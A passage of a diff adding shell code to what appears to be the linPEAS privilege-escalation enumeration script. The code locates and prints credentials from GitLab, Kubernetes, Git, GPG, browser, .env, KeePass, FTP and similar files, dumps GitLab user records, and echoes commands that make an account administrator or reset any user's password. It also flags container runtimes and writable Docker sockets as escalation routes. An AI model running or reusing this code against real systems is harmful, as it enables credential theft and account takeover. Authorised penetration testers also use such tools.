+##-- SI) passwd files (splunk)
+SPLUNK_BIN="$(command -v splunk 2>/dev/null)"
+if [ "$PSTORAGE_SPLUNK" ] || [ "$SPLUNK_BIN" ] || [ "$DEBUG" ]; then
+ print_2title "Searching uncommon passwd files (splunk)"
+ if [ "$SPLUNK_BIN" ]; then echo "splunk binary was found installed on $SPLUNK_BIN" | sed "s,.*,${SED_RED},"; fi
+ printf "%s\n" "$PSTORAGE_SPLUNK" | grep -v ".htpasswd" | sort | uniq | while read f; do
+ if [ -f "$f" ] && ! [ -x "$f" ]; then
+ echo "passwd file: $f" | sed "s,$f,${SED_RED},"
+ cat "$f" 2>/dev/null | grep "'pass'|'password'|'user'|'database'|'host'|\$" | sed -${E} "s,password|pass|user|database|host|\$,${SED_RED},"
+ fi
+ done
+ echo ""
+fi
+
+if [ "$PSTORAGE_KCPASSWORD" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing kcpassword files"
+ print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#kcpassword"
+ printf "%s\n" "$PSTORAGE_KCPASSWORD" | while read f; do
+ echo "$f" | sed -${E} "s,.*,${SED_RED},"
+ base64 "$f" 2>/dev/null | sed -${E} "s,.*,${SED_RED},"
+ done
+ echo ""
+fi
+
+##-- SI) Gitlab
+if [ "$(command -v gitlab-rails)" ] || [ "$(command -v gitlab-backup)" ] || [ "$PSTORAGE_GITLAB" ] || [ "$DEBUG" ]; then
+ print_2title "Searching GitLab related files"
+ # Check gitlab-rails
+ if [ "$(command -v gitlab-rails)" ]; then
+ echo "gitlab-rails was found. Trying to dump users..."
+ gitlab-rails runner 'User.where.not(username: "peasssssssss").each { |u| pp u.attributes }' | sed -${E} "s,email|password,${SED_RED},"
+ echo "If you have enough privileges, you can make an account under your control administrator by running: gitlab-rails runner 'user = User.find_by(email: \"youruser@example.com\"); user.admin = TRUE; user.save!'"
+ echo "Alternatively, you could change the password of any user by running: gitlab-rails runner 'user = User.find_by(email: \"admin@example.com\"); user.password = \"pass_peass_pass\"; user.password_confirmation = \"pass_peass_pass\"; user.save!'"
+ echo ""
+ fi
+ if [ "$(command -v gitlab-backup)" ]; then
+ echo "If you have enough privileges, you can create a backup of all the repositories inside gitlab using 'gitlab-backup create'"
+ echo "Then you can get the plain-text with something like 'git clone \@hashed/19/23/14348274[...]38749234.bundle'"
+ echo ""
+ fi
+ # Check gitlab files
+ printf "%s\n" "$PSTORAGE_GITLAB" | sort | uniq | while read f; do
+ if echo $f | grep -q secrets.yml; then
+ echo "Found $f" | sed "s,$f,${SED_RED},"
+ cat "$f" 2>/dev/null | grep -Iv "^$" | grep -v "^#"
+ elif echo $f | grep -q gitlab.yml; then
+ echo "Found $f" | sed "s,$f,${SED_RED},"
+ cat "$f" | grep -A 4 "repositories:"
+ elif echo $f | grep -q gitlab.rb; then
+ echo "Found $f" | sed "s,$f,${SED_RED},"
+ cat "$f" | grep -Iv "^$" | grep -v "^#" | sed -${E} "s,email|user|password,${SED_RED},"
+ fi
+ echo ""
+ done
+ echo ""
+fi
+
+if [ "$PSTORAGE_GITHUB" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Github Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_GITHUB\" | grep -E \"\.github$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".github"; fi; fi; printf "%s" "$PSTORAGE_GITHUB" | grep -E "\.github$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.github$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_GITHUB\" | grep -E \"\.gitconfig$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".gitconfig"; fi; fi; printf "%s" "$PSTORAGE_GITHUB" | grep -E "\.gitconfig$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.gitconfig$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_GITHUB\" | grep -E \"\.git-credentials$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".git-credentials"; fi; fi; printf "%s" "$PSTORAGE_GITHUB" | grep -E "\.git-credentials$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.git-credentials$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_GITHUB\" | grep -E \"\.git$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".git"; fi; fi; printf "%s" "$PSTORAGE_GITHUB" | grep -E "\.git$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.git$,${SED_RED},"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_SVN" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Svn Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_SVN\" | grep -E \"\.svn$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".svn"; fi; fi; printf "%s" "$PSTORAGE_SVN" | grep -E "\.svn$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.svn$,${SED_RED},"; ls -lRA "$f";done; echo "";
+fi
+
+
+if [ "$PSTORAGE_PGP_GPG" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing PGP-GPG Files (limit 70)"
+ ( (command -v gpg && gpg --list-keys) || echo_not_found "gpg") 2>/dev/null
+ ( (command -v netpgpkeys && netpgpkeys --list-keys) || echo_not_found "netpgpkeys") 2>/dev/null
+ (command -v netpgp || echo_not_found "netpgp") 2>/dev/null
+ if ! [ "`echo \"$PSTORAGE_PGP_GPG\" | grep -E \"\.pgp$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.pgp"; fi; fi; printf "%s" "$PSTORAGE_PGP_GPG" | grep -E "\.pgp$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.pgp$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_PGP_GPG\" | grep -E \"\.gpg$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.gpg"; fi; fi; printf "%s" "$PSTORAGE_PGP_GPG" | grep -E "\.gpg$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.gpg$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_PGP_GPG\" | grep -E \"\.gnupg$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.gnupg"; fi; fi; printf "%s" "$PSTORAGE_PGP_GPG" | grep -E "\.gnupg$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.gnupg$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_CACHE_VI" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Cache Vi Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_CACHE_VI\" | grep -E \"\.swp$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.swp"; fi; fi; printf "%s" "$PSTORAGE_CACHE_VI" | grep -E "\.swp$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.swp$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_CACHE_VI\" | grep -E \"\.viminfo$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.viminfo"; fi; fi; printf "%s" "$PSTORAGE_CACHE_VI" | grep -E "\.viminfo$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.viminfo$,${SED_RED},"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_WGET" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Wget Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_WGET\" | grep -E \"\.wgetrc$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".wgetrc"; fi; fi; printf "%s" "$PSTORAGE_WGET" | grep -E "\.wgetrc$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.wgetrc$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,[pP][aA][sS][sS].*|[uU][sS][eE][rR].*,${SED_RED},g"; done; echo "";
+fi
+
+
+##-- SI) containerd installed
+if ! [ "$SEARCH_IN_FOLDER" ]; then
+ containerd=$(command -v ctr)
+ if [ "$containerd" ] || [ "$DEBUG" ]; then
+ print_2title "Checking if containerd(ctr) is available"
+ print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation"
+ if [ "$containerd" ]; then
+ echo "ctr was found in $containerd, you may be able to escalate privileges with it" | sed -${E} "s,.*,${SED_RED},"
+ ctr image list 2>&1
+ fi
+ echo ""
+ fi
+fi
+
+##-- SI) runc installed
+if ! [ "$SEARCH_IN_FOLDER" ]; then
+ runc=$(command -v runc)
+ if [ "$runc" ] || [ "$DEBUG" ]; then
+ print_2title "Checking if runc is available"
+ print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/runc-privilege-escalation"
+ if [ "$runc" ]; then
+ echo "runc was found in $runc, you may be able to escalate privileges with it" | sed -${E} "s,.*,${SED_RED},"
+ fi
+ echo ""
+ fi
+fi
+
+#-- SI) Docker
+if [ "$PSTORAGE_DOCKER" ] || [ "$DEBUG" ]; then
+ print_2title "Searching docker files (limit 70)"
+ print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation"
+ printf "%s\n" "$PSTORAGE_DOCKER" | head -n 70 | while read f; do
+ ls -l "$f" 2>/dev/null
+ if ! [ "$IAMROOT" ] && [ -S "$f" ] && [ -w "$f" ]; then
+ echo "Docker related socket ($f) is writable" | sed -${E} "s,.*,${SED_RED_YELLOW},"
+ fi
+ done
+ echo ""
+fi
+
+if [ "$PSTORAGE_KUBERNETES" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Kubernetes Files (limit 70)"
+ (env || set) | grep -Ei "kubernetes|kube" | grep -v "PSTORAGE_KUBERNETES|USEFUL_SOFTWARE" | sed -${E} "s,kubernetes|kube,${SED_RED},"
+ if ! [ "`echo \"$PSTORAGE_KUBERNETES\" | grep -E \"kubeconfig$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "kubeconfig"; fi; fi; printf "%s" "$PSTORAGE_KUBERNETES" | grep -E "kubeconfig$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,kubeconfig$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,server:|cluster:|namespace:|user:|exec:,${SED_RED},g"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_KUBERNETES\" | grep -E \"bootstrap-kubeconfig$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "bootstrap-kubeconfig"; fi; fi; printf "%s" "$PSTORAGE_KUBERNETES" | grep -E "bootstrap-kubeconfig$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,bootstrap-kubeconfig$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,server:|cluster:|namespace:|user:|exec:,${SED_RED},g"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_KUBERNETES\" | grep -E \"kubelet-kubeconfig$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "kubelet-kubeconfig"; fi; fi; printf "%s" "$PSTORAGE_KUBERNETES" | grep -E "kubelet-kubeconfig$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,kubelet-kubeconfig$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,server:|cluster:|namespace:|user:|exec:,${SED_RED},g"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_KUBERNETES\" | grep -E \"kubelet\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "kubelet.conf"; fi; fi; printf "%s" "$PSTORAGE_KUBERNETES" | grep -E "kubelet\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,kubelet\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,server:|cluster:|namespace:|user:|exec:,${SED_RED},g"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_KUBERNETES\" | grep -E \"psk\.txt$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "psk.txt"; fi; fi; printf "%s" "$PSTORAGE_KUBERNETES" | grep -E "psk\.txt$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,psk\.txt$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_KUBERNETES\" | grep -E \"\.kube.*$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".kube*"; fi; fi; printf "%s" "$PSTORAGE_KUBERNETES" | grep -E "\.kube.*$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.kube.*$,${SED_RED},"; find "$f" -name "config" | while read ff; do ls -ld "$ff" | sed -${E} "s,config,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,server:|cluster:|namespace:|user:|exec:,${SED_RED},g"; done; echo "";done; echo "";
+ if ! [ "`echo \"$PSTORAGE_KUBERNETES\" | grep -E \"kubelet$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "kubelet"; fi; fi; printf "%s" "$PSTORAGE_KUBERNETES" | grep -E "kubelet$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,kubelet$,${SED_RED},"; find "$f" -name "config.yaml" | while read ff; do ls -ld "$ff" | sed -${E} "s,config.yaml,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,server:|cluster:|namespace:|user:|exec:,${SED_RED},g"; done; echo "";find "$f" -name "kubeadm-flags.env" | while read ff; do ls -ld "$ff" | sed -${E} "s,kubeadm-flags.env,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$"; done; echo "";done; echo "";
+ if ! [ "`echo \"$PSTORAGE_KUBERNETES\" | grep -E \"kube-proxy$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "kube-proxy"; fi; fi; printf "%s" "$PSTORAGE_KUBERNETES" | grep -E "kube-proxy$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,kube-proxy$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_KUBERNETES\" | grep -E \"kubernetes$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "kubernetes"; fi; fi; printf "%s" "$PSTORAGE_KUBERNETES" | grep -E "kubernetes$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,kubernetes$,${SED_RED},"; find "$f" -name "admin.conf" | while read ff; do ls -ld "$ff" | sed -${E} "s,admin.conf,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,server:|cluster:|namespace:|user:|exec:,${SED_RED},g"; done; echo "";find "$f" -name "controller-manager.conf" | while read ff; do ls -ld "$ff" | sed -${E} "s,controller-manager.conf,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,server:|cluster:|namespace:|user:|exec:,${SED_RED},g"; done; echo "";find "$f" -name "scheduler.conf" | while read ff; do ls -ld "$ff" | sed -${E} "s,scheduler.conf,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,server:|cluster:|namespace:|user:|exec:,${SED_RED},g"; done; echo "";done; echo "";
+fi
+
+
+if [ "$PSTORAGE_FIREFOX" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Firefox Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_FIREFOX\" | grep -E \"\.mozilla$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".mozilla"; fi; fi; printf "%s" "$PSTORAGE_FIREFOX" | grep -E "\.mozilla$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.mozilla$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_FIREFOX\" | grep -E \"Firefox$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "Firefox"; fi; fi; printf "%s" "$PSTORAGE_FIREFOX" | grep -E "Firefox$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,Firefox$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_CHROME" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Chrome Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_CHROME\" | grep -E \"google-chrome$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "google-chrome"; fi; fi; printf "%s" "$PSTORAGE_CHROME" | grep -E "google-chrome$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,google-chrome$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_CHROME\" | grep -E \"Chrome$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "Chrome"; fi; fi; printf "%s" "$PSTORAGE_CHROME" | grep -E "Chrome$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,Chrome$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_AUTOLOGIN" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Autologin Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_AUTOLOGIN\" | grep -E \"autologin$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "autologin"; fi; fi; printf "%s" "$PSTORAGE_AUTOLOGIN" | grep -E "autologin$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,autologin$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,passwd,${SED_RED},g"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_AUTOLOGIN\" | grep -E \"autologin\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "autologin.conf"; fi; fi; printf "%s" "$PSTORAGE_AUTOLOGIN" | grep -E "autologin\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,autologin\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,passwd,${SED_RED},g"; done; echo "";
+fi
+
+
+#-- SI) S/Key athentication
+if (grep auth= /etc/login.conf 2>/dev/null | grep -v "^#" | grep -q skey) || [ "$DEBUG" ] ; then
+ print_2title "S/Key authentication"
+ printf "System supports$RED S/Key$NC authentication\n"
+ if ! [ -d /etc/skey/ ]; then
+ echo "${GREEN}S/Key authentication enabled, but has not been initialized"
+ elif ! [ "$IAMROOT" ] && [ -w /etc/skey/ ]; then
+ echo "${RED}/etc/skey/ is writable by you"
+ ls -ld /etc/skey/
+ else
+ ls -ld /etc/skey/ 2>/dev/null
+ fi
+fi
+echo ""
+
+#-- SI) YubiKey athentication
+if (grep "auth=" /etc/login.conf 2>/dev/null | grep -v "^#" | grep -q yubikey) || [ "$DEBUG" ]; then
+ print_2title "YubiKey authentication"
+ printf "System supports$RED YubiKey$NC authentication\n"
+ if ! [ "$IAMROOT" ] && [ -w /var/db/yubikey/ ]; then
+ echo "${RED}/var/db/yubikey/ is writable by you"
+ ls -ld /var/db/yubikey/
+ else
+ ls -ld /var/db/yubikey/ 2>/dev/null
+ fi
+ echo ""
+fi
+
+if [ "$PSTORAGE_SNMP" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing SNMP Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_SNMP\" | grep -E \"snmpd\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "snmpd.conf"; fi; fi; printf "%s" "$PSTORAGE_SNMP" | grep -E "snmpd\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,snmpd\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "rocommunity|rwcommunity|extend.*|^createUser" | sed -${E} "s,rocommunity|rwcommunity|extend.*|^createUser,${SED_RED},g"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_PYPIRC" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Pypirc Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_PYPIRC\" | grep -E \"\.pypirc$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".pypirc"; fi; fi; printf "%s" "$PSTORAGE_PYPIRC" | grep -E "\.pypirc$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.pypirc$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,username|password,${SED_RED},g"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_POSTFIX" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Postfix Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_POSTFIX\" | grep -E \"postfix$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "postfix"; fi; fi; printf "%s" "$PSTORAGE_POSTFIX" | grep -E "postfix$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,postfix$,${SED_RED},"; find "$f" -name "master.cf" | while read ff; do ls -ld "$ff" | sed -${E} "s,master.cf,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -E "user=" | sed -${E} "s,user=|argv=,${SED_RED},g"; done; echo "";done; echo "";
+fi
+
+
+if [ "$PSTORAGE_LDAPRC" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Ldaprc Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_LDAPRC\" | grep -E \"\.ldaprc$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".ldaprc"; fi; fi; printf "%s" "$PSTORAGE_LDAPRC" | grep -E "\.ldaprc$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.ldaprc$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_ENV" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Env Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_ENV\" | grep -E \"\.env.*$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".env*"; fi; fi; printf "%s" "$PSTORAGE_ENV" | grep -E "\.env.*$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.env.*$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,[pP][aA][sS][sS].*|[tT][oO][kK][eE][N]|[dD][bB]|[pP][rR][iI][vV][aA][tT][eE]|[kK][eE][yY],${SED_RED},g"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_MSMTPRC" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Msmtprc Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_MSMTPRC\" | grep -E \"\.msmtprc$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".msmtprc"; fi; fi; printf "%s" "$PSTORAGE_MSMTPRC" | grep -E "\.msmtprc$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.msmtprc$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,user.*|password.*,${SED_RED},g"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_KEEPASS" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Keepass Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_KEEPASS\" | grep -E \"\.kdbx$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.kdbx"; fi; fi; printf "%s" "$PSTORAGE_KEEPASS" | grep -E "\.kdbx$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.kdbx$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_KEEPASS\" | grep -E \"KeePass\.config.*$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "KeePass.config*"; fi; fi; printf "%s" "$PSTORAGE_KEEPASS" | grep -E "KeePass\.config.*$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,KeePass\.config.*$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_KEEPASS\" | grep -E \"KeePass\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "KeePass.ini"; fi; fi; printf "%s" "$PSTORAGE_KEEPASS" | grep -E "KeePass\.ini$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,KeePass\.ini$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_KEEPASS\" | grep -E \"KeePass\.enforced.*$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "KeePass.enforced*"; fi; fi; printf "%s" "$PSTORAGE_KEEPASS" | grep -E "KeePass\.enforced.*$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,KeePass\.enforced.*$,${SED_RED},"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_FTP" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing FTP Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_FTP\" | grep -E \"vsftpd\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "vsftpd.conf"; fi; fi; printf "%s" "$PSTORAGE_FTP" | grep -E "vsftpd\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,vsftpd\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "anonymous_enable|anon_upload_enable|anon_mkdir_write_enable|anon_root|chown_uploads|chown_username|local_enable|no_anon_password|write_enable" | sed -${E} "s,anonymous_enable|anon_upload_enable|anon_mkdir_write_enable|anon_root|chown_uploads|chown_username|local_enable|no_anon_password|write_enable|[yY][eE][sS],${SED_RED},g" | sed -${E} "s,\s[nN][oO]|=[nN][oO],${SED_GOOD},g"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_FTP\" | grep -E \"\.ftpconfig$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.ftpconfig"; fi; fi; printf "%s" "$PSTORAGE_FTP" | grep -E "\.ftpconfig$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.ftpconfig$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_FTP\" | grep -E \"ffftp\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "ffftp.ini"; fi; fi; printf "%s" "$PSTORAGE_FTP" | grep -E "ffftp\.ini$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,ffftp\.ini$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_FTP\" | grep -E \"ftp\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "ftp.ini"; fi; fi; printf "%s" "$PSTORAGE_FTP" | grep -E "ftp\.ini$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,ftp\.ini$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_FTP\" | grep -E \"ftp\.config$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "ftp.config"; fi; fi; printf "%s" "$PSTORAGE_FTP" | grep -E "ftp\.config$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,ftp\.config$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_FTP\" | grep -E \"sites\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "sites.ini"; fi; fi; printf "%s" "$PSTORAGE_FTP" | grep -E "sites\.ini$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,sites\.ini$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_FTP\" | grep -E \"wcx_ftp\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "wcx_ftp.ini"; fi; fi; printf "%s" "$PSTORAGE_FTP" | grep -E "wcx_ftp\.ini$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,wcx_ftp\.ini$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_FTP\" | grep -E \"winscp\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "winscp.ini"; fi; fi; printf "%s" "$PSTORAGE_FTP" | grep -E "winscp\.ini$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,winscp\.ini$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_FTP\" | grep -E \"ws_ftp\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "ws_ftp.ini"; fi; fi; printf "%s" "$PSTORAGE_FTP" | grep -E "ws_ftp\.ini$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,ws_ftp\.ini$,${SED_RED},"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_VARNISH" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Varnish Files (limit 70)"
